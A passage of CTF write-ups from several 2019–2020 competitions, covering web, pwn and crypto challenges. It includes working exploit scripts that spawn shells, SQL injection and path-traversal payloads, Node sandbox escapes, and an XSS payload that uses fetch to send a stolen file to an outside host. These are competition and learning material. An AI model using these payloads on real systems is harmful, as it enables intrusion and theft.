('bar', 'bazz')}) 115 | print(r.text) 116 | ``` 117 | Flag: `bsides_delhi{PHP-Imagick,isn't_fun??SOFFICE}`` 118 | 119 | 120 | 121 | ### Seek You El 122 | 123 | In this challenge, there is a SQL Injection on the pw parameter. 124 | 125 | We need to login as admin to get the flag, but `/?%5f=' or 1=1 and user=x'61646d696e'#` not work. 126 | 127 | So maybe we need to get the `pw` value of the `admin` to login. 128 | 129 | And there is WAF in this challenge, we can't use `()`, `select`, `sleep`, .... 130 | 131 | Then I found that we can use SQL error to do boolean-based SQL Injection: 132 | 133 | `/?%5f='or ~0+1#` => Error 134 | 135 | `/?%5f='or ~0+0#` => OK 136 | 137 | OK, let's dump pw: 138 | 139 | `/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>0)+1) #` 140 | 141 | `/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>100)+1) #` 142 | 143 | ... 144 | 145 | Then we have `pw`: `9f3b7c0e1a` 146 | 147 | Using this pw to login and get the flag: 148 | 149 | ![](https://github.com/w181496/CTF/raw/master/bsides_delphi_ctf_2019/SeekYouEl/seek.png) 150 | 151 | `bsides_delhi{sequel_injections_are_really_great_i_guess_dont_you_think?}` 152 | 153 | ## Crypto 154 | 155 | ### SecureMAC 156 | 157 | Two parts in this challenge: 158 | 1. get the key 159 | 2. generate a collision to this mac 160 | 161 | #### First Part 162 | 163 | Same technique as in [CSAW CTF - Fault Box](https://github.com/OAlienO/CTF/tree/master/2019/CSAW-CTF/Fault-Box) 164 | 165 | let `f` be `bytes_to_long("fake_flag")` 166 | `c` will be `f ** e + k * p` for some `k` 167 | We know the value of `f ** e` 168 | Simply calculate `gcd(f ** e - c, n)` will give us prime factor `p`, then we can factor `n` 169 | 170 | #### Second Part 171 | 172 | To make things simple, we send messages of 32 bytes. 173 | Both `messageblocks[1]` and `tag`, which is `ECB.encrypt(messageblocks[0])` we can control 174 | Just make the result of `strxor` be the same 175 | 176 | flag: `bsides_delhi{F4ult'n'F0rg3_1s_@_b4d_c0mb1n4ti0n}` 177 | 178 | ### BabyRSA 179 | 180 | This is yet another RSA challenge 181 | `salt` can be decrypt directly 182 | Then, use wiener attack to factor `n = p * q` and get `p1 * p2` 183 | Simply gcd `p1 * p2` with `n1` and `n2` and get all the prime factors 184 | Note that `gcd(e1, (p1 - 1) * (q1 - 1)) != 1` and `gcd(e2, (p2 - 1) * (q2 - 1)) != 1`, we can't directly decrypt `magic` 185 | Luckily, `gcd(e1, q1 - 1) == 2` and `gcd(e2, q2 - 1) == 2` 186 | We can get `m ** 2 % q1` and `m ** 2 % q2` 187 | Then use the same technique as in Rabin cryptosystem, which is modular square root and chinese remainder theorem 188 | 189 | flag: `bsides_delhi{JuG1iNg_WiTh_RS4}` 190 | 191 | ### ExtendedElgamal 192 | 193 | `rand = lambda: random.randint(133700000,2333799999)` this is a small range 194 | Brute force it and get `z` 195 | Then calculate `e / (g^k)^z` to get `m` 196 | 197 | flag: `bsides_delhi{that5_som3_b4d_k3y_generation!}` 198 | -------------------------------------------------------------------------------- /20190928-pwnthybytesctf/README.md: -------------------------------------------------------------------------------- 1 | # PwnThyBytes CTF 2019 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20190928-pwnthybytesctf/) of this writeup.** 4 | 5 | 6 | - [PwnThyBytes CTF 2019](#pwnthybytes-ctf-2019) 7 | - [Warmup/Learning](#warmuplearning) 8 | - [pass_the_hash](#pass_the_hash) 9 | - [Memory Corruption](#memory-corruption) 10 | - [ace of spades](#ace-of-spades) 11 | - [Crypto](#crypto) 12 | - [Wrong ring](#wrong-ring) 13 | - [Avec](#avec) 14 | - [LOTR](#lotr) 15 | 16 | 17 | ## Warmup/Learning 18 | 19 | ### pass_the_hash 20 | 21 | ```python= 22 | from pwn import * 23 | from hashlib import * 24 | import hashlib 25 | 26 | host, port = '52.142.217.130', 13374 27 | 28 | p_head_ans, p_tail_ans = '', '' 29 | p_head_l, p_tail_l = [], [] 30 | 31 | def send(r): 32 | global p_head_ans, p_tail_ans, p_head_l, p_tail_l 33 | salt_1 = os.urandom(11) + '\x00' 34 | salt_2 = '\x00' + os.urandom(11) 35 | salt = salt_1 + salt_2 36 | r.sendline(salt.encode('hex')) 37 | 38 | h = r.recvline()[:-1].decode('hex') 39 | l_pass, r_pass = h[:32], h[32:] 40 | p_head = xor(xor(l_pass[-12:], salt_1), l_pass[:12]) 41 | p_tail = xor(xor(r_pass[:12], salt_2), r_pass[-12:]) 42 | 43 | if not p_head_ans: 44 | if p_head in p_head_l: 45 | print('found p_head') 46 | print(p_head) 47 | p_head_ans = p_head 48 | else: 49 | p_head_l.append(p_head) 50 | 51 | if not p_tail_ans: 52 | if p_tail in p_tail_l: 53 | print('found p_tail') 54 | print(p_tail) 55 | p_tail_ans = p_tail 56 | else: 57 | p_tail_l.append(p_tail) 58 | 59 | def main(): 60 | r = remote(host, port) 61 | r.recvline() 62 | 63 | for i in range(1024): 64 | if p_head_ans and p_tail_ans: 65 | break 66 | print(i) 67 | send(r) 68 | 69 | r.sendline('') 70 | r.recvline() 71 | salt = r.recvline()[:-1].decode('hex') 72 | password = p_head_ans + p_tail_ans[-8:] 73 | 74 | no_rounds = 16 75 | h_list = [sha, sha1, ripemd160, sha256] 76 | ans = combo_hash(salt, password, h_list, no_rounds).encode('hex') 77 | r.sendline(ans) 78 | r.interactive() 79 | 80 | main() 81 | # PTBCTF{420199e572e685af8e1782fde58fd0e9} 82 | ``` 83 | 84 | ## Memory Corruption 85 | 86 | ### ace of spades 87 | 88 | x86 32bit efl, strcpy has vulnerabilty when the src and dest are overlaping. 89 | duplicating ace of spades, make play point be 16000. 90 | 91 | Then, overwrite the rbp and ret addr, ROP attack. 92 | 93 | ```python= 94 | from pwn import * 95 | import sys 96 | 97 | 98 | if len(sys.argv) > 1: 99 | r = remote('137.117.216.128', 13375) 100 | else: 101 | r = process('./ace_of_spades') 102 | 103 | def draw(): 104 | r.sendlineafter(':', '1') 105 | 106 | def discard(): 107 | r.sendlineafter(':', '2') 108 | 109 | def play(): 110 | r.sendlineafter(':', '3') 111 | 112 | def show(): 113 | r.sendlineafter(':', '4') 114 | 115 | def fold(): 116 | r.sendlineafter(':', '5') 117 | 118 | #for i in range(29): 119 | # draw() 120 | 121 | target1 = 0x81839ff0 122 | target2 = 0xa1829ff0 123 | target3 = 0xbe829ff0 124 | 125 | def get_leak(): 126 | show() 127 | r.recvuntil('hand is:\n') 128 | r.recvn(5*22) 129 | val = u32(r.recvn(5)[1:]) 130 | if val == target1 or val == target2 or val == target3: 131 | return 0 132 | return u32(r.recvn(4)) 133 | 134 | def duplicate(target): 135 | while True: 136 | for i in range(24): 137 | draw() 138 | if target == get_leak(): 139 | for i in range(5): 140 | draw() 141 | discard() 142 | return 143 | else: 144 | fold() 145 | 146 | for i in range(10): 147 | print('magic', i) 148 | duplicate(0xa1829ff0) 149 | fold() 150 | 151 | """ 152 | for i in range(10): 153 | print('t1', i) 154 | duplicate(0x81839ff0) 155 | fold() 156 | 157 | for i in range(10): 158 | print('t3', i) 159 | duplicate(target3) 160 | fold() 161 | """ 162 | 163 | print("done") 164 | 165 | 166 | #r.interactive() 167 | while True: 168 | for i in range(5): 169 | draw() 170 | 171 | play() 172 | r.recvuntil('points: ') 173 | point = int(r.recvline()[:-1]) 174 | print('hello', point) 175 | if point >= 16000 and point < 17000: 176 | r.recvuntil('prize: ') 177 | stack = u32(r.recvn(4))-0x10 178 | code = u32(r.recvn(4))-0x1355 179 | print hex(stack) 180 | print hex(code) 181 | 182 | payload = flat( 183 | 0x1234, 184 | code+0x638,0x1234,0,stack,0x100 185 | ) 186 | 187 | r.sendlineafter(":","2") 188 | r.send(payload.ljust(0x20,"\x00")) 189 | 190 | r.sendlineafter(": ","6") 191 | 192 | payload = flat( 193 | code+0x0619,code+0x2f98,code+0x668,code+0x0619,code+0x02fb0, 194 | code+0x0619,code+0x2f98,code+0x638,0x1234,0,stack+0x18,0x100 195 | ) 196 | 197 | r.send(payload.ljust(0x30,"\x00").ljust(0x100,"\x00")) 198 | libc = u32(r.recvn(4))-0x49670 199 | print hex(libc) 200 | r.send(p32(libc+0x3ac62).ljust(0x100,"\x00")) 201 | 202 | r.interactive() 203 | 204 | elif point >= 1000: 205 | r.sendlineafter('Choose: ', '1') 206 | 207 | fold() 208 | 209 | r.interactive() 210 | 211 | ``` 212 | 213 | ## Crypto 214 | ### Wrong ring 215 | Those coefficients of high degree error terms are very small(less than 0.5). 216 | So just take those high degree terms from each result and solve some linear equations to get the flag 217 | 218 | ### Avec 219 | The keyspace is only 32bits: 220 | 221 | ``` 222 | sage: (2**64 - 1) / 0xbcafffff435 223 | 4294967297/3019 224 | ``` 225 | 226 | So it is feasible to bruteforce the key. 227 | 228 | However, we also need its nonce to decrypt our flag. To recover nonce, we need to know how GCM works. 229 | In GCM mode, plaintext is encrypted using CTR mode, and then we calculate a hash of all ciphertext & auth data & length. 230 | After that, we generate authentication tag by XOR the hash with first block of CTR keystream. 231 | 232 | We can calculate the hash without nonce, so we can recover the first keystream block by xor the hash with final tag. 233 | And the plaintext of first block is nonce. 234 | 235 | ### LOTR 236 | The signature is 243 ciphertext of RSA, and the way they verify it is decrypting them with a public key, xor together, and check whether they are equal to the hash. 237 | It's is not possible to forge the plaintext without secret key, but we can select which plaintext to xor. 238 | To solve this task, I generate a pair of ciphertext randomly for each RSA key, and solve a GF2 linear equations to decide which one to use. 239 | ``` 240 | [plain1_A 1 0 0 ... 0] 241 | [plain1_B 1 0 0 ... 0] 242 | [plain2_A 0 1 0 ... 0] 243 | ? X [plain2_B 0 1 0 ... 0] = [result 1 1 1 ... 1] 244 | ... 245 | [plainN_A 0 0 0 ... 1] 246 | [plainN_B 0 0 0 ... 1] 247 | ``` 248 | 249 | If the equation has no solution, just generate another one. 250 | -------------------------------------------------------------------------------- /20191019-secconquals/README.md: -------------------------------------------------------------------------------- 1 | # SECCON 2019 Online CTF 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20191019-secconquals/) of this writeup.** 4 | 5 | 6 | - [SECCON 2019 Online CTF](#seccon-2019-online-ctf) 7 | - [Crypto](#crypto) 8 | - [coffee_break](#coffee_break) 9 | - [ZKPay](#zkpay) 10 | - [Pwn](#pwn) 11 | - [Lazy](#lazy) 12 | - [Misc](#misc) 13 | - [pngbomb](#pngbomb) 14 | - [Web](#web) 15 | - [Option-Cmd-U](#option-cmd-u) 16 | - [web_search](#web_search) 17 | - [fileserver](#fileserver) 18 | 19 | 20 | ## Crypto 21 | 22 | ### coffee_break 23 | 24 | We are given the encrypted flag `FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905`. The encryption is described as follow. 25 | Firstly, it is encrypted by an encryption function `encrypt` defined in the code, with key `SECCON`, then it's padded. 26 | Secondly, it is then encrypted by ECB mode AES, with key `seccon2019\0\0\0\0...\0`. 27 | Both of them are obviously invertible, which gave us the flag. 28 | 29 | `SECCON{Success_Decryption_Yeah_Yeah_SECCON}` 30 | 31 | ### ZKPay 32 | 33 | After Registering the site with any new username and password, we know there are 500 dollar in a new account and our goal is to make an account with more than 1,000,000 dollar. 34 | 35 | Use the functionality "Send Money", it generates a QR code with the following text value: 36 | 37 | ``` 38 | username=helloworld&amount=100&proof=MN5WdjPmu9rNgswKNMYaA2Ktw9qa01YD4LGQmPIqo+slMSAwTD7QBwdxfVNnTm+PntPhzuNAqLKXAT0Pcfn6nlusRxswCjCdAjvql47aX8W5UrCtwvaQkYu7OjyWL4kmCwk25T/cLcnLd0WV7PZQ7fPVyGICHRDgwzvhrpmVKeXClZBiwagMMCAwxsG5bgjAaRO85MQQJwfFNaKP85KTzu2XWhnzGBjL9SQwCjA0TYNsuNLj7Vq2z5ZGnZEGp9RW0hQ7Q9HMwkQwvKHdATEgMIlaN2hxW+dol7Xq1ysg/ZUEM2j6/6D3/TY/p567VwArMAowtsm/Hzj2y18pjeXV3ZMWfhGdn0dz0iZdgE9ccL1ZqwswCjCEKxwu1THo1s5a8InYdF16UwKQuDNfvjDoWYCpciUlJjEK&hash=e87511c561c5eb1ece61dfe556537cc1152479ff8e1f721eff16d7248adde849 39 | ``` 40 | 41 | Try to generate one more QR code with different amount of money, we see that only the "amount" value differs. Hence, we can forge some strange amount of money in our transaction. 42 | 43 | If we send minus amount to another account, my Balance will increase. 44 | 45 | Just send a huge minus amount, i.e. -999501, and you'll get the flag. 46 | 47 | flag: `SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}` 48 | 49 | ## Pwn 50 | 51 | ### Lazy 52 | 53 | ```python= 54 | #!/usr/bin/env python 55 | from pwn import * 56 | 57 | # SECCON{Keep_Going!_KEEP_GOING!_K33P_G01NG!} 58 | 59 | context.arch = 'amd64' 60 | e = ELF( './lazy' ) 61 | y = remote( 'lazy.chal.seccon.jp' , 33333 ) 62 | 63 | def pri( p ): 64 | y.sendlineafter( '4: Manage' , '4' ) 65 | y.sendlineafter( 'Input file name' , p ) 66 | 67 | def leak( adr ): 68 | y.sendlineafter( '4: Manage' , '4' ) 69 | p = '%7$sABCD'.ljust( 0x8 , 'a' ) + p64( adr ) 70 | y.sendlineafter( 'Input file name' , p ) 71 | y.recvuntil( 'Filename : ' ) 72 | d = y.recvuntil( 'ABCD' )[:-4] + '\0' 73 | return d 74 | 75 | y.sendlineafter( '3: Exit' , '2' ) 76 | y.sendlineafter( ':' , '_H4CK3R_' ) 77 | y.sendlineafter( ':' , '3XPL01717' ) 78 | 79 | p = '%7$s%9$p'.ljust( 0x8 , 'a' ) + p64( e.got.read ) 80 | pri( p ) 81 | y.recvuntil( 'Filename : ' ) 82 | l = u64( y.recv(6) + '\0\0' ) 83 | 84 | y.recvuntil( '0x' ) 85 | canary = int( y.recvuntil( '00' ) , 16 ) 86 | print hex( canary ) 87 | 88 | 89 | d = DynELF( leak, l - 0xd6000 ) 90 | system = d.lookup( 'system', 'libc' ) 91 | print hex( system ) 92 | 93 | pop_rdi = 0x00000000004015f3 94 | ppr = 0x00000000004015f1 95 | 96 | download = 0x400E23 97 | listing = 0x400D72 98 | 99 | csu = 0x4015D0 100 | 101 | d = e.bss() + 0x100 102 | 103 | p = flat( 104 | 'a' * 8, 105 | 0 , 0 , 106 | canary, 107 | 0, 108 | e.plt.atoi, 109 | pop_rdi, 110 | 0, 111 | ppr, d , 0, e.plt.read, 112 | pop_rdi, 113 | d, 114 | system 115 | ) 116 | pri( p ) 117 | 118 | y.sendafter( 'No such file!' , '/bin/sh\0' ) 119 | 120 | y.interactive() 121 | ``` 122 | 123 | ## Misc 124 | 125 | ### pngbomb 126 | We are given an png image. The image is `2147483647 x 32, 1-bit grayscale, non-interlaced`, but due to the DEFLATE algorithm of png format, the image itself is as small as `36MB`. 127 | 128 | We can get the compressed data via `binwalk` (Bytes `0x29~`). It is a Zlib compressed data. Though we may not extract the data into a file, we can pipe it to our program, and read it as streaming data. 129 | 130 | 131 | 132 | ## Web 133 | 134 | ### Option-Cmd-U 135 | 136 | Our target is to visit http://nginx/flag.php 137 | 138 | And the `nginx`'s IP is `172.18.0.3` 139 | 140 | We can use DNS-Rebinding to bypass restriction: 141 | 142 | 172.18.0.3 <---> any ip 143 | 144 | => `SECCON{what_a_easy_bypass_314208thg0n423g}` 145 | 146 | 147 | ### web_search 148 | 149 | single quote: 150 | 151 | - `'` => Error 152 | - `''` => OK 153 | - `'''` => Error 154 | - `'#` => OK 155 | 156 | So this is a SQL Injection challenge. 157 | 158 | But it will filter `and`, `or`, `%20`, `,`, .... 159 | 160 | We can use some trick to bypass it, e.g. `anandd` => `and`, `oorr` => `or`, and replace `%20` with `/**/` 161 | 162 | If we try `'or 2=2 #`, it will output `The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!`. 163 | 164 | And we can use UNION-based MySQL Injection to dump the second half flag: 165 | 166 | `http://web-search.chal.seccon.jp/?q=%27anandd/**/1=2/**/union/**/select/**/*/**/from/**/((SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(select/**/3)c)%23` 167 | 168 |
169 | 170 | get the db name: 171 | 172 | `http://web-search.chal.seccon.jp/?q='anandd/**/1=2/**/union/**/select/**/*/**/from/**/((SELECT/**/(schema_name)/**/from/**/infoorrmation_schema.schemata)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(select/**/3)c)%23` 173 | 174 | => `seccon_sqli` 175 | 176 |
177 | 178 | get the table name: 179 | 180 | `http://web-search.chal.seccon.jp/?q=%27anandd/**/1=2/**/union/**/select/**/*/**/from/**/((SELECT/**/(table_name)/**/from/**/infoorrmation_schema.tables)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(select/**/3)c)%23` 181 | 182 | => `flag` 183 | 184 |
185 | 186 | get the column name: 187 | 188 | `http://web-search.chal.seccon.jp/?q=%27anandd/**/1=2/**/union/**/select/**/*/**/from/**/((SELECT/**/(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name=%27flag%27)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(select/**/3)c)%23` 189 | 190 | => piece 191 | 192 |
193 | 194 | get the flag: 195 | 196 | `http://web-search.chal.seccon.jp/?q=%27anandd/**/1=2/**/union/**/select/**/*/**/from/**/((SELECT/**/(piece)/**/from/**/flag)a/**/JOIN/**/(SELECT/**/2)b/**/JOIN/**/(select/**/3)c)%23` 197 | 198 | => `You_Win_Yeah}` 199 | 200 | so the flag is `SECCON{Yeah_Sqli_Success_You_Win_Yeah}` 201 | 202 | 203 | 204 | ### fileserver 205 | 206 | The source code of server is in `/app.rb`. 207 | 208 | The validation function has some problems, it will check `[` before checking `{` 209 | 210 | So we can use `{[}` to bypass the validation, it will not raise 400 Bad Request. 211 | 212 | And we can use it to read arbitrary file: 213 | 214 | http://fileserver.chal.seccon.jp:9292/%7B,%5B%7D/etc/passwd 215 | 216 | Use `/%00/` to list directory and get the flag filename: 217 | 218 | `http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/` 219 | 220 | => `/tmp/flags/qqVnBHOmIS0SIJz97VLGaWXs2CtuQBNW.txt` 221 | 222 | flag: `SECCON{You_are_the_Globbin'_Slayer}` 223 | -------------------------------------------------------------------------------- /20200314-confidencectf2020teaser/README.md: -------------------------------------------------------------------------------- 1 | # CONFidence CTF 2020 Teaser 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20200314-confidencectf2020teaser/) of this writeup.** 4 | 5 | 6 | - [CONFidence CTF 2020 Teaser](#confidence-ctf-2020-teaser) 7 | - [Web](#web) 8 | - [cat web](#cat-web) 9 | - [Failed Attempts](#failed-attempts) 10 | - [Temple JS (unsolved)](#temple-js-unsolved) 11 | - [Misc](#misc) 12 | - [Angry Defender (unsolved)](#angry-defender-unsolved) 13 | 14 | 15 | --- 16 | 17 | ## Web 18 | 19 | ### cat web 20 | 21 | The server uses AJAX APIs to render the website content. The API endpoint is like this: 22 | 23 | ``` 24 | /cats?kind=black 25 | 26 | {"status": "ok", "content": ["il_570xN.1285759626_8j8m.jpg", "24.jpg", "2468b5d0-67e8-4d77-9bbb-87a656c8087a-large3x4_Untitledcollage.jpg"]} 27 | ``` 28 | 29 | Let's quickly fuzz a little bit: 30 | 31 | ``` 32 | /cats?kind=black/../../ 33 | 34 | {"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]} 35 | 36 | 37 | /cats?kind=black/../../templates 38 | 39 | {"status": "ok", "content": ["report.html", "index.html", "flag.txt"]} 40 | ``` 41 | 42 | So the flag.txt is in the `templates` directory. Also, the response contains `access-control-allow-origin: *` which allows cross-origin read. 43 | 44 | Next, there is a XSS bot on the index page. We have to find a XSS point. The `/cats?kind=` API will return the raw error message in JSON without encoding the HTML. 45 | 46 | ``` 47 | http://catweb.zajebistyc.tf/cats?kind=

hi

48 | 49 | {"status": "error", "content": "

h1

could not be found"} 50 | ``` 51 | 52 | However, the `content-type` header is `application/json`. We can't do much here. Instead we have to take advantages of the AJAX in the index page 53 | 54 | ```javascript 55 | function getNewCats(kind) { 56 | $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) { 57 | if(data.status != 'ok') 58 | { 59 | return; 60 | } 61 | $('#cats_container').empty(); 62 | cats = data.content; 63 | cats.forEach(function(cat) { 64 | var newDiv = document.createElement('div'); 65 | newDiv.innerHTML = ''; 66 | $('#cats_container').append(newDiv); 67 | }); 68 | }); 69 | 70 | } 71 | 72 | $(document).ready(function() { 73 | $('#cat_select').change(function() { 74 | var kind = $(this).val(); 75 | history.pushState({}, '', '?'+kind) 76 | getNewCats(kind); 77 | }); 78 | var kind = window.location.search.substring(1); 79 | if(kind == "") 80 | { 81 | kind = 'black'; 82 | } 83 | getNewCats(kind); 84 | }); 85 | ``` 86 | 87 | By overwriting the JSON `status` and using `\u0022` to encode the `"`, we can trigger a XSS. 88 | 89 | ``` 90 | /?foo","content":["\u0022>"],"status":"ok","bar":" 91 | ``` 92 | 93 | We have a XSS now, but how do we read the flag? 94 | 95 | The idea is to abuse `file:///` and XSS to extract the flag. 96 | 97 | The UA of XSS bot is `Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 98 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`. 99 | 100 | That's a rather old Firefox. We start to search for CVE and security fix and got this [CVE-2019-11730: Same-origin policy treats all files in a directory as having the same-origin](https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730). 101 | 102 | The rest is straightforward. In firefox 67 the files in the directory `/app/templates/` are all considered as same-origin. We can utilize XSS on `file://` to retrieve the flag. 103 | 104 | Report this url: 105 | 106 | ``` 107 | file:///app/templates/index.html?foo","content":["\u0022>"],"status":"ok","bar":" 108 | ``` 109 | 110 | xs.js: 111 | 112 | ``` 113 | url='http://example.com:1338/?' 114 | fetch('file:///app/templates/flag.txt').then(r=>r.text()).then(t=>fetch(url+btoa(t))); 115 | ``` 116 | 117 | The flag is `p4{can_i_haz_a_piece_of_flag_pliz?}`. 118 | 119 | This is a great challenge! Really enjoy it :) 120 | 121 | #### Failed Attempts 122 | 123 | - XSS through localhost to RCE via Flask debug page: However the Flask debug is not enabled on localhost, and Flask console is protected by PIN. 124 | 125 | 126 | ### Temple JS (unsolved) 127 | 128 | > Written by bookgin 129 | 130 | The server code: 131 | 132 | ```javascript 133 | const express = require("express") 134 | const fs = require("fs") 135 | const vm = require("vm") 136 | const watchdog = require("./watchdog"); 137 | 138 | global.flag = fs.readFileSync("flag").toString() 139 | const source = fs.readFileSync(__filename).toString() 140 | const help = "There is no help on the way." 141 | 142 | const app = express() 143 | const port = 3000 144 | 145 | app.use(express.json()) 146 | app.use('/', express.static('public')) 147 | 148 | app.post('/repl', (req, res) => { 149 | let sandbox = vm.createContext({par: (v => `(${v})`), source, help}) 150 | let validInput = /^[a-zA-Z0-9 ${}`]+$/g 151 | 152 | let command = req.body['cmd'] 153 | 154 | console.log(`${req.ip}> ${command}`) 155 | 156 | let response; 157 | 158 | try { 159 | if(validInput.test(command)) 160 | { 161 | let watch = watchdog.schedule() 162 | try { 163 | response = vm.runInContext(command, sandbox, { 164 | timeout: 300, 165 | displayErrors: false 166 | }); 167 | } finally { 168 | watchdog.stop(watch) 169 | } 170 | } else 171 | throw new Error("Invalid input.") 172 | } catch(ex) 173 | { 174 | response = ex.toString() 175 | } 176 | 177 | console.log(`${req.ip}< ${response}`) 178 | res.send(JSON.stringify({"response": response})) 179 | }) 180 | 181 | console.log(`Listening on :${port}...`) 182 | app.listen(port, '0.0.0.0') 183 | ``` 184 | 185 | Basically we need to read `flag` in the sandbox with limited characters. 186 | 187 | To escape the sandbox, we follow [this article](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html) to access the object outside of the sandbox. 188 | 189 | ``` 190 | constructor.constructor('return flag')() 191 | ``` 192 | 193 | However, `.` is not allowed. We need to either create `.` based on those limited chracters, or use other syntax to access the attributes. 194 | 195 | First, we will need `eval()` to create `.`. In javascript we can use `Function` to achieve eval: 196 | 197 | ``` 198 | # eval 199 | > Function`return 123``foo` 200 | 123 201 | 202 | # double evaluation 203 | > Function` foo${`return ${1+1}`}`` ` 204 | 2 205 | ``` 206 | 207 | However, in the end I didn't manage to solve this challenge because I'm a javascript noob....... 208 | 209 | Here are some creative solutions: 210 | 211 | 1. Destruct by @sasdf: 212 | 213 | ``` 214 | Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` `` 215 | ``` 216 | 217 | This one didn't even use the helper function `par`. Always amazed by our member @sasdf ! 218 | 219 | 2. for-loop dot creation by @qweqwe: 220 | ``` 221 | {var dot} {Function`x ${`for ${par`dot of help`} { } return dot`}` ``} {Function`x ${`return constructor${dot}constructor`}` `` `return flag` ``} 222 | ``` 223 | 224 | It uses `for (dot of help) { } return dot` to create `.`. 225 | 226 | 3. `with()` by @toob: 227 | 228 | ``` 229 | Function`a${`with ${par`par`} return constructor`}` `` `return flag` `` 230 | ``` 231 | 232 | Actually I was closed to this one, but I found `with` could be useful in the last 20 minutes of the CTF...... 233 | 234 | ## Misc 235 | 236 | ### Angry Defender (unsolved) 237 | 238 | This is based on @t0nk42 (icchy)'s [research on Windows Defender](https://speakerdeck.com/icchy/lets-make-windows-defender-angry-antivirus-can-be-an-oracle). Alexei Bulazel also did [some research on the emulator](https://i.blackhat.com/us-18/Thu-August-9/us-18-Bulazel-Windows-Offender-Reverse-Engineering-Windows-Defenders-Antivirus-Emulator.pdf). 239 | 240 | Because in this challenge the flag is directly appended into the files, without the close tag `` it seems not possible to extract the content with JavaScript. See my [write-up](https://balsn.tw/ctf_writeup/20190831-tokyowesternsctf/#exploit) for more details. 241 | 242 | The hint indicates this but we're still trying to use javascript and other Interpreted language (php) to extract the flag. PHP seems promising but we can't construct a valid payload. The intended solution is to utilize Windows binary file. 243 | 244 | For write-ups by other teams please see: 245 | 246 | - [Write-up by Bushwhackers](https://ctftime.org/writeup/18774) 247 | - [Write-up by @junorouse](https://github.com/junorouse/ctf/blob/master/2020/confidence-pre/angry-defender.md) 248 | -------------------------------------------------------------------------------- /20200404-midnightsunctf2020quals/README.md: -------------------------------------------------------------------------------- 1 | # Midnight Sun CTF 2020 Quals 2 | 3 | **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20200404-midnightsunctf2020quals/) of this writeup.** 4 | 5 | 6 | - [Midnight Sun CTF 2020 Quals](#midnight-sun-ctf-2020-quals) 7 | - [Web](#web) 8 | - [hackingforso](#hackingforso) 9 | - [Shithappens](#shithappens) 10 | 11 | 12 | ## Web 13 | 14 | ### hackingforso 15 | 16 | There is an arbitrary file read vulnerability: 17 | 18 | `http://hackingforso-01.play.midnightsunctf.se/?file=php://filter/convert.base64-encode/resource=/var/www/html/index.php` 19 | 20 | (we can't use `..` and `/xxxx`, but we can use `php://filter`) 21 | 22 | 23 | When I read the `/proc/self/map`, I found this: 24 | 25 | ``` 26 | 562fa83f6000-562fa8e74000 r-xp 00000000 ca:01 269523 /usr/local/sbin/php-fpm 27 | 562fa9074000-562fa9119000 r--p 00a7e000 ca:01 269523 /usr/local/sbin/php-fpm 28 | 562fa9119000-562fa9125000 rw-p 00b23000 ca:01 269523 /usr/local/sbin/php-fpm 29 | 562fa9125000-562fa9134000 rw-p 00000000 00:00 0 30 | 562faa1e0000-562faa3ff000 rw-p 00000000 00:00 0 [heap] 31 | 562faa3ff000-562faa403000 rw-p 00000000 00:00 0 [heap] 32 | 7f999efbd000-7f999f1bd000 r-xp 00000000 ca:01 284231 /var/www/messages/21db4c2051b8e454d73f7b97664770ef.so 33 | 7f999f1bd000-7f999f1be000 r--p 00000000 ca:01 284231 /var/www/messages/21db4c2051b8e454d73f7b97664770ef.so 34 | 7f999f1be000-7f999f1bf000 rw-p 00001000 ca:01 284231 /var/www/messages/21db4c2051b8e454d73f7b97664770ef.so 35 | 7f999f1bf000-7f999f3c0000 r-xp 00000000 ca:01 279464 /usr/local/lib/libmcrypt/ofb.so 36 | 7f999f3c0000-7f999f3c1000 r--p 00001000 ca:01 279464 /usr/local/lib/libmcrypt/ofb.so 37 | 7f999f3c1000-7f999f3c2000 rw-p 00002000 ca:01 279464 /usr/local/lib/libmcrypt/ofb.so 38 | 7f999f3c2000-7f999f5c3000 r-xp 00000000 ca:01 279466 /usr/local/lib/libmcrypt/rc2.so 39 | 7f999f5c3000-7f999f5c4000 r--p 00001000 ca:01 279466 /usr/local/lib/libmcrypt/rc2.so 40 | ... 41 | ``` 42 | 43 | The `21db4c2051b8e454d73f7b97664770ef.so` looks like someone's malicious `so` file. 44 | 45 | So I tried to download this `so` file, and use `strings` command: 46 | 47 | ``` 48 | $ strings 21db4c2051b8e454d73f7b97664770ef.so 49 | 50 | ... 51 | ./flag_dispenser > /var/www/messages/hurt_me_plentye124f251ac.txt 52 | ... 53 | ``` 54 | 55 | OK, let's try to read the `hurt_me_plentye124f251ac.txt`: 56 | 57 | `midnight{i_h@t3_cryPt0_1n_w3b_ch4llz}` 58 | 59 | WOW, I got the flag :) 60 | 61 | ### Shithappens 62 | 63 | This is a HAproxy bypass challenge. The key here is to exploit the difference between HAproxy and flask. 64 | 65 | ``` 66 | frontend internet_access 67 | bind *:80 68 | errorfile 403 /etc/haproxy/errorfiles/403custom.http 69 | http-response set-header Server Server 70 | http-request deny if METH_POST 71 | http-request deny if { path_beg /admin } 72 | http-request deny if { cook(IMPERSONATE) -m found } 73 | http-request deny if { hdr_len(Cookie) 